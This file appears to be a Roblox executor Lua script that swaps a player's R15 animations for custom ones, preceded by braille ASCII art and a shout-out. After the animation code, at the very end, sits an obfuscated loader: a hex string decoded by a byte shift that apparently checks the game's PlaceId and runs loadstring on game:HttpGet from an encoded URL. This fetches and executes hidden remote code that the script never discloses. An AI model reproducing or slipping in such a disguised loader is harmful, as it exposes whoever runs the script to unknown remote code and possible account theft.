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⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠔⠋⠀⠀⠀⠀⠀⠀⡀⠁⠀⠂⠀⠄⡜⢀⠂⠀⠀⠀⠀⠀⠀⠀⠀⠉⠂⠲⡄⠤⠀⢠⡼⠁⢀⡟⠀⣧⠐⠒⠒⠽⠋⠁⠀⠀⠀⠀⡠⠤⠎⠁⠁⠀⠸⡀⠀⠀⠀⡀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⠞⠁⠀⠀⠀⠀⠀⠀⠀⠄⠀⡀⠁⢀⠂⡸⠀⠀⠈⠒⢤⡀⠀⠀⠀⠀⠀⠀⠀⢠⠃⠀⢀⡾⠁⣾⣸⠁⠀⡟⡆⠀⠀⡠⠖⠒⠚⠉⠉⠀⠀⠀⠀⠀⠀⠀⢀⡇⠀⠀⠀⢀⠝⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⡴⠁⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠐⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠉⠓⠢⢤⣀⢠⣃⣀⢀⡞⢁⡼⠛⠃⠀⣱⠁⢻⠈⠁⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠒⠀⡇⠀⠀⡠⠋⠈⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⢠⣎⣠⡶⠗⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠁⠠⠈⢰⡇⠉⠂⢄⡀⠀⠀⠀⠀⠀⠀⠀⢁⠂⠀⢀⡟⠠⠞⠀⠠⡄⣱⠃⠀⠈⣇⣀⣀⡤⠆⠂⠂⠂⠂⠒⠉⠁⠁⠀⠀⠀⡇⢀⠎⠀⠀⠀⠀⠀⠁⠀⢠⢦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⢚⣷⡾⠁⠀⠀⠀⠀⠀⠀⢀⠀⠀⠁⠠⠈⠀⠄⢸⣇⠀⠀⠀⠀⠁⠂⠠⢀⠀⠀⠀⠎⠀⢀⡞⠀⠠⠀⠂⣽⣻⠃⠀⠀⠀⠘⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⡠⠚⠀⣧⠀⠀⠀⠀⠀⠀⠀⠀⢠⠃⠀⢣⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⣠⢾⣿⠇⠀⠀⠀⠀⠀⠀⢀⠀⠀⠈⠀⠄⠐⠀⠠⢸⠁⠑⠤⢀⣀⠀⠀⠀⠀⠀⠀⠉⠀⢀⡏⠀⠐⠀⣡⢾⡟⠁⠀⠀⠀⠀⠀⠻⡄⠀⠀⠀⠀⣀⡤⠔⠋⠉⠀⠀⠀⠀⡟⠀⠀⠀⠀⠀⠀⠀⠀⠘⡄⢠⠎⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⠃⣯⢾⠀⢀⣴⡟⠀⠀⠀⠀⡀⠈⠀⠄⠀⠂⠈⢀⢸⠀⠀⠀⠀⠀⠀⠁⠑⠢⣀⡀⠀⢠⠟⠀⣈⣤⠞⠁⠈⠀⠀⠀⠀⠀⠀⠀⠀⢳⠐⠒⠊⠉⠀⠀⠀⠀⠀⠀⠀⢀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⣰⠃⠀⣷⣿⣴⣟⡿⠁⠀⠀⣀⣁⠀⠀⠐⠀⡈⠀⢁⠀⣼⠄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢳⣎⣠⠖⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢧⠀⠀⠀⠀⢀⣀⣀⡀⠤⠂⠁⢠⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⢠⠃⠀⠀⠉⢁⣼⡿⢶⣞⡿⣿⣿⡏⠀⠈⡀⠐⠀⢈⠀⣼⢹⠦⠀⠁⠂⠤⣀⠀⠀⠀⠀⠀⡾⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠚⣏⠁⠉⠉⠀⠀⠀⠀⠀⠀⠀⣸⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⡞⠀⠀⠀⠀⠞⠛⠛⠉⢁⣿⡿⣿⠁⣀⡐⢂⠄⢈⡆⢠⠇⣼⠀⠀⠀⠀⠀⠀⠀⠉⠐⠀⡼⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⡄⠀⠀⠀⠀⠀⣀⡤⠄⠊⠹⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⢰⠁⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣼⡟⠁⢃⣤⣿⣷⠋⠐⣿⠈⠁⠀⠀⠀⠀⠀⠀⠀⡸⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡒⠋⠉⠉⠉⠁⠀⠀⠀⢀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣾⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡿⢋⣿⢁⣴⣾⣿⣿⣟⣠⠟⡏⠀⠀⠀⠀⠀⠀⠀⠀⢠⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢣⠀⠀⠀⠀⠀⠀⢀⡀⠠⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⡏⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⡰⠘⣯⣼⣿⠟⣿⣿⠟⠁⣸⠁⠒⠠⢀⡀⠀⠠⠈⢀⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣸⡧⠖⠒⠒⠁⠉⠁⠀⠀⢻⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣧⠀⣴⡇⠀⢰⠀⠀⠀⢀⠀⡜⠀⠀⠹⡏⢁⣴⠛⠁⠀⢠⠇⠀⠀⠀⠀⠀⠜⠁⠀⡜⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⣧⢹⣒⣒⠶⠶⢦⡤⠝⠛⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⢹⠞⢠⡁⠀⢷⠀⠀⢀⠎⠸⠀⠀⠀⢀⣴⠋⠁⠀⠀⢀⠏⠈⠉⠀⠀⢀⣀⠀⠤⠐⢧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡼⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠈⠸⡇⠀⠈⠆⢀⠇⠀⠁⠀⣼⢠⡞⡁⠀⠀⠀⢀⠏⠀⠀⠀⠚⠛⠂⠀⠀⠀⢀⡞⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⣀⠀⠀⢀⣀⣀⣀⣀⠠⠄⣾⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠹⡄⠀⠈⠚⠂⠀⠀⣴⣿⡎⠀⠀⠀⠀⠀⡞⠀⠀⠐⠒⠐⠀⠀⠀⠀⠈⠀⢧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠧⠀⠀⠀⠀⠀⠀⠀⠀⠀⡂⢹⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠙⢄⠀⠀⠀⠀⠀⡇⠈⠀⠀⠀⠀⠀⠈⢳⠀⠀⠀⠀⢀⠀⠀⠤⠄⠒⠂⠨⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠙⠢⢤⣀⡀⢳⢀⣀⣠⠤⠤⠤⠤⠬⡇⠒⠈⠉⠀⠀⠀⠀⠀⠀⢀⠀⠘⣆⢀⣀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡎⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⣠⠤⠂⠈⠙⠁⡀⠄⢂⠐⡀⠆⠐⣻⠀⠀⢀⡀⠄⠐⠂⠉⢀⣀⣀⣠⣼⣦⣤⣂⠐⠐⡈⠐⢂⠁⠒⠠⢁⠂⠌⢉⠑⢦⠀⣠⠤⠴⠾⢲⠶⠶⠤⠤⢤⣀⣀⠒⠀⠤⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠳⠤⣌⣌⣠⠁⡐⠈⠄⢂⠐⡈⠄⣹⡖⠀⣀⣠⣦⣶⣿⣿⣭⣽⣶⣷⣽⣶⣬⣭⡳⣥⠀⠡⠀⠌⠠⢁⠂⠌⡀⠂⠌⢀⣾⣥⣶⣶⣿⣿⢿⡿⣿⣿⣿⣿⣮⣽⣿⣶⣄⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡤⠌⠐⡀⢂⠐⠠⢈⣷⣿⣿⣿⣟⡿⣽⣻⣿⣟⡷⣯⣟⣿⣿⣟⣿⣿⠇⠠⢁⠈⡐⠠⠈⠄⠠⢁⠂⣼⣿⣯⣷⣻⣿⣽⢯⣟⣷⣿⣟⣾⣽⣻⣟⡿⣿⡧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠦⣌⡐⢀⠂⡈⠐⡀⠻⣿⣿⣿⣾⣿⣿⣽⣯⣿⣟⣷⣿⣾⣿⣿⣿⡿⠀⡁⠂⡐⠠⠁⠌⠠⠁⠂⠄⡈⢿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣾⣷⣿⣾⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠑⠒⠃⠐⠤⠀⠙⠛⠿⠿⣿⣿⣿⣿⠿⠿⠟⠛⢋⠉⡀⠄⢂⠐⠠⠐⠠⠁⠌⠠⠁⠌⠠⠐⡀⠈⠉⠛⠛⠟⠻⠟⠟⠻⠛⠛⠛⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠀⠒⠐⠒⠂⠂⠂⠑⠀⠃⠈⠀⠃⠈⠀⠁⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Invisible_#3657 was here OwO, hi invis i love you mwah ]] local Players = game:GetService("Players") local plr = Players.LocalPlayer local CUSTOM_ANIM_NAMES = { idle = { { id = "rbxassetid://12521158637", weight = 9 }, { id = "rbxassetid://12521162526", weight = 1 } }, walk = { { id = "rbxassetid://12518152696", weight = 10 } }, run = { { id = "rbxassetid://12518152696", weight = 10 } }, jump = { { id = "rbxassetid://12520880485", weight = 10 } }, fall = { { id = "rbxassetid://12520972571", weight = 10 } }, climb = { { id = "rbxassetid://12520982150", weight = 10 } }, sit = { { id = "rbxassetid://12520993168", weight = 10 } }, toolnone = { { id = "rbxassetid://12520996634", weight = 10 } }, toolslash = { { id = "rbxassetid://12520999032", weight = 10 } }, toollunge = { { id = "rbxassetid://12521002003", weight = 10 } }, wave = { { id = "rbxassetid://12521004586", weight = 10 } }, point = { { id = "rbxassetid://12521007694", weight = 10 } }, dance1 = { { id = "rbxassetid://12521009666", weight = 10 }, { id = "rbxassetid://12521151637", weight = 10 }, { id = "rbxassetid://12521015053", weight = 10 } }, dance2 = { { id = "rbxassetid://12521169800", weight = 10 }, { id = "rbxassetid://12521173533", weight = 10 }, { id = "rbxassetid://12521027874", weight = 10 } }, dance3 = { { id = "rbxassetid://12521178362", weight = 10 }, { id = "rbxassetid://12521181508", weight = 10 }, { id = "rbxassetid://12521184133", weight = 10 } }, laugh = { { id = "rbxassetid://12521018724", weight = 10 } }, cheer = { { id = "rbxassetid://12521021991", weight = 10 } }, } if getgenv().R6_On_R15_CLEANUP then pcall(getgenv().R6_On_R15_CLEANUP) end local function v24(Char) if not Char or not Char.Parent then return end local Humanoid = Char:FindFirstChildOfClass("Humanoid") if not Humanoid then return end local defaultAnimate = Char:FindFirstChild("Animate") local animateBackup = defaultAnimate and defaultAnimate:Clone() -- cross-scope state (shared by v25 / v26 / v48) local connections = {} local sessionTracks = {} local isCustomActive = false local runLoop = nil local function v25() if not isCustomActive then return end isCustomActive = false if runLoop then pcall(function() task.cancel(runLoop) end) runLoop = nil end for _, conn in pairs(connections) do pcall(function() conn:Disconnect() end) end connections = {} for i = 1, #sessionTracks do local tr = sessionTracks[i] pcall(function() tr:Stop(0) end) pcall(function() tr:Destroy() end) sessionTracks[i] = nil end getgenv().R6_On_R15_CLEANUP = nil end getgenv().R6_On_R15_CLEANUP = v25 local function v26() isCustomActive = true local animator = Humanoid:FindFirstChildOfClass("Animator") if not animator then animator = Instance.new("Animator") animator.Parent = Humanoid end for _, track in ipairs(animator:GetPlayingAnimationTracks()) do pcall(function() track:Stop(0) end) end for i = 1, #sessionTracks do sessionTracks[i] = nil end -- state local v6 = "Standing" -- movement state local v8 = "" -- current core anim set name local v10 = nil -- current playing core track local v12 = 1 -- current anim speed multiplier local v15 = "None" -- current tool anim local v16 = 0 -- tool anim timer local v17 = 0 -- jump/fall cooldown local v18 = "" -- current tool anim set name local v19 = nil -- current playing tool track local _rigScale = 1 local _lastScaleCheck = 0 local function v27() local ok, scale = pcall(function() return Char:GetScale() end) if ok and scale and scale > 0 then _rigScale = scale end end v27() local t = {} -- animation sets; each entry[k] = { anim, track, weight, id } local t3 = { wave = false, point = false, dance1 = true, dance2 = true, dance3 = true, laugh = false, cheer = false } local TOOL_SETS = { toolnone = true, toolslash = true, toollunge = true } local TOOL_PRIORITY = { toolnone = Enum.AnimationPriority.Idle, toolslash = Enum.AnimationPriority.Action, toollunge = Enum.AnimationPriority.Action, } local v31, v33 -- forward decl (used by keyframe handlers) local function v28(setName, list) local set = { count = 0, totalWeight = 0 } t[setName] = set for k, v in ipairs(list) do local anim = Instance.new("Animation") anim.Name = setName anim.AnimationId = v.id local track = animator:LoadAnimation(anim) track.Priority = TOOL_PRIORITY[setName] or Enum.AnimationPriority.Core set[k] = { anim = anim, track = track, weight = v.weight, id = v.id } set.count = set.count + 1 set.totalWeight = set.totalWeight + v.weight sessionTracks[#sessionTracks + 1] = track track.KeyframeReached:Connect(function(keyframeName) if not isCustomActive then return end if keyframeName ~= "End" then return end if TOOL_SETS[setName] then if v19 ~= track then return end v33(setName, 0, true) else if v10 ~= track then return end local repeatAnim = setName if t3[repeatAnim] == false then repeatAnim = "idle" end v31(repeatAnim, 0, true) end end) end end for k, v in pairs(CUSTOM_ANIM_NAMES) do v28(k, v) end local function v29(p1) if p1 == v12 then return end v12 = p1 if v10 then pcall(function() v10:AdjustSpeed(p1) end) end end local function v30() local oldAnim = v8 if t3[oldAnim] == false then oldAnim = "idle" end if v10 then pcall(function() v10:Stop(0) end) end v8 = "" v10 = nil return oldAnim end function v31(setName, fade, force) if not isCustomActive then return end local set = t[setName] if not set or set.count <= 0 or set.totalWeight <= 0 then return end local sum = math.random(1, set.totalWeight) local count = 1 while count <= set.count and set[count].weight < sum do sum = sum - set[count].weight count = count + 1 end local entry = set[count] if not entry then return end local track = entry.track if not force and v10 == track then return end if v10 and v10 ~= track then pcall(function() v10:Stop(fade) end) end v12 = 1 pcall(function() track:Play(fade) track:AdjustSpeed(v12) end) v10 = track v8 = setName end function v33(setName, fade, force) if not isCustomActive then return end local set = t[setName] if not set or set.count <= 0 or set.totalWeight <= 0 then return end local sum = math.random(1, set.totalWeight) local count = 1 while count <= set.count and set[count].weight < sum do sum = sum - set[count].weight count = count + 1 end local entry = set[count] if not entry then return end local track = entry.track if not force and v19 == track then return end if v19 and v19 ~= track then pcall(function() v19:Stop(0) end) end pcall(function() track:Play(fade) end) v19 = track v18 = setName end local function v34() local oldAnim = v18 if v19 then pcall(function() v19:Stop(0) end) end v18 = "" v19 = nil return oldAnim end local function v35(p1) if not isCustomActive then return end local speed = p1 / _rigScale if speed > 0.01 then v31("walk", 0.1) if v8 == "walk" then v29(speed / 14.5) end v6 = "Running" else if t3[v8] ~= nil then return end v31("idle", 0.1) v6 = "Standing" end end local function v36() if not isCustomActive then return end v31("jump", 0.1) v17 = 0.3 v6 = "Jumping" end local function v37(p1) if not isCustomActive then return end local speed = p1 / _rigScale v31("climb", 0.1) v29(speed / 12) v6 = "Climbing" end local function v38() if not isCustomActive then return end if v17 > 0 then v6 = "FreeFall"; return end v31("fall", 0.3) v6 = "FreeFall" end local function v39() v6 = "GettingUp" v30() v34() end local function v40() v6 = "FallingDown" v30() v34() end local function v41() v6 = "Seated" end local function v42() v6 = "PlatformStanding" v30() v34() end local function v43(p1) v6 = p1 > 0 and "Running" or "Standing" end local function v44() if not Char or not Char.Parent then return nil end for _, v in ipairs(Char:GetChildren()) do if v:IsA("Tool") then return v end end return nil end local function v45(p1) if not p1 then return nil end for _, v in ipairs(p1:GetChildren()) do if v.Name == "toolanim" and v:IsA("StringValue") then return v end end return nil end local function v46() if v15 == "None" then v33("toolnone", 0.1) return end if v15 == "Slash" then v33("toolslash", 0) return end if v15 == "Lunge" then v33("toollunge", 0) end end local v22 = 0 local function v47(p1) if not isCustomActive then return end local v32 = p1 - v22 v22 = p1 if v17 > 0 then v17 = v17 - v32 end if v6 == "Dead" or v6 == "GettingUp" or v6 == "FallingDown" or v6 == "PlatformStanding" then return end if v6 == "Seated" then v31("sit", 0.5) elseif v6 == "FreeFall" and v17 <= 0 then v31("fall", 0.3) elseif v6 == "Running" then v31("walk", 0.1) elseif v6 == "Standing" then if v8 ~= "idle" and t3[v8] == nil then v31("idle", 0.1) end end local tool = v44() if not (tool and tool:FindFirstChild("Handle")) then if v18 ~= "" then v34() end v15 = "None" v16 = 0 return end local v7 = v45(tool) if v7 then v15 = v7.Value v7.Parent = nil v16 = p1 + 0.3 end if v16 >= p1 then v46() else v16 = 0 v15 = "None" v46() end end table.insert(connections, Humanoid.Died:Connect(function() v6 = "Dead" v30() v34() v25() end)) table.insert(connections, Humanoid.Running:Connect(v35)) table.insert(connections, Humanoid.Jumping:Connect(v36)) table.insert(connections, Humanoid.Climbing:Connect(v37)) table.insert(connections, Humanoid.GettingUp:Connect(v39)) table.insert(connections, Humanoid.FreeFalling:Connect(v38)) table.insert(connections, Humanoid.FallingDown:Connect(v40)) table.insert(connections, Humanoid.Seated:Connect(v41)) table.insert(connections, Humanoid.PlatformStanding:Connect(v42)) table.insert(connections, Humanoid.Swimming:Connect(v43)) table.insert(connections, plr.Chatted:Connect(function(msg) if not isCustomActive then return end local emote = "" if string.sub(msg, 1, 3) == "/e " then emote = string.sub(msg, 4) elseif string.sub(msg, 1, 7) == "/emote " then emote = string.sub(msg, 8) end if v6 == "Standing" and t3[emote] ~= nil then v31(emote, 0.1) end end)) local dummyAnimate = Char:FindFirstChild("Animate") if not dummyAnimate then dummyAnimate = Instance.new("LocalScript") dummyAnimate.Name = "Animate" dummyAnimate.Disabled = true dummyAnimate.Parent = Char end local playEmoteBindable = dummyAnimate:FindFirstChild("PlayEmote") if not playEmoteBindable then playEmoteBindable = Instance.new("BindableFunction") playEmoteBindable.Name = "PlayEmote" playEmoteBindable.Parent = dummyAnimate end playEmoteBindable.OnInvoke = function(emote) if not isCustomActive then return end if v6 ~= "Standing" then return end if t3[emote] == nil then return false end v31(emote, 0.1) return true, v10 end v31("idle", 0.1) v6 = "Standing" runLoop = task.spawn(function() while isCustomActive and Char and Char.Parent and Humanoid and Humanoid.Parent and Humanoid.RigType == Enum.HumanoidRigType.R15 do local curr = os.clock() if curr - _lastScaleCheck > 1 then _lastScaleCheck = curr v27() end pcall(v47, curr) task.wait(0.1) end end) end local function v48() if not Humanoid or not Humanoid.Parent or Humanoid.Health <= 0 then return end v25() local animator = Humanoid:FindFirstChildOfClass("Animator") if animator then for _, track in ipairs(animator:GetPlayingAnimationTracks()) do pcall(function() track:Stop(0) end) end end local existing = Char:FindFirstChild("Animate") if existing then existing.Disabled = true pcall(function() existing:Destroy() end) end if Humanoid.RigType == Enum.HumanoidRigType.R15 then v26() else if animateBackup then local newAnimate = animateBackup:Clone() newAnimate.Parent = Char newAnimate.Disabled = false end end end table.insert(connections, Humanoid:GetPropertyChangedSignal("RigType"):Connect(function() task.wait(0.1) v48() end)) table.insert(connections, Char.AncestryChanged:Connect(function(_, parent) if not parent then v25() end end)) v48() end if plr.Character then task.spawn(function() pcall(v24, plr.Character) end) end if getgenv().v23 then pcall(function() getgenv().v23:Disconnect() end) end getgenv().v23 = plr.CharacterAdded:Connect(function(char) task.spawn(function() pcall(v24, char) end) end) local __k=0x7A local __h="e6e9dddbe69ad9d9deb7e0efe8ddeee3e9e8a2e2a39ae6e9dddbe69aecb79c9c9ae0e9ec9ae3b7aba69de2a6ac9adee99aecb7eca8a8edeeece3e8e1a8dde2dbeca2a2eee9e8efe7dcdfeca2e2b4edefdca2e3a6e3a5aba3a6abb0a3a7b2afa39facafb0a39adfe8de9aecdfeeefece89aec9adfe8de84e6e9dddbe69ad9d9e1b7e1dfeee1dfe8f09adbe8de9ae1dfeee1dfe8f0a2a39ae9ec9ad9c184d9d9e1a8e3deb7d9d9dea29cdddbdcdedde0b2afb2b29ca384e6e9dddbe69ad9d9dcb79ce7e7ace7dbe3e8a8e6efdb9c84e6e9dddbe69ad9d9eab7e1dbe7dfa8cae6dbdddfc3de84e6e9dddbe69ad9d9e7b7d9d9eab7b7abaeacb2acadacb3ab9ae9ec9ad9d9eab7b7abaab1aaafacabaaabb2b29ae9ec9ad9d9eab7b7adadafabadacadaab39ae9ec9ad9d9eab7b7b0adb0b0aeb3b0aeb284e3e09ad9d9e79aeee2dfe89ad9d9e7b7d9d9dc9adfe6eddf849a9ad9d9e7b7d9d9eab7b7b3acaaafb2b1acadb19adbe8de9ad9d9dea29cdcb0dcb3ddacb2adddabdddbdcb09ca39ae9ec9ae8e3e69adfe8de84e3e09ad9d9e79aeee2dfe89ae6e9dbdeedeeece3e8e1a2e1dbe7dfb4c2eeeeeac1dfeea2d9d9dea29cdcdeddb3ddb3ddafddb2b2e0b2aeb2aedcb2dcb3ddadb2addcb2dcb3ddadddafdcb0ddb2ddb3dcdbdcb1dcdfddadb2addcb2ddaeddacb2ae9ca3a8a8d9d9e7a3a3a2a39adfe8de84" local __t="" for i=1,#__h,2 do __t=__t..string.char(tonumber(__h:sub(i,i+1),16)) end local __r="" for i=1,#__t do __r=__r..string.char((__t:byte(i)-__k)%256) end local __f=loadstring or load if __f then __f(__r)() end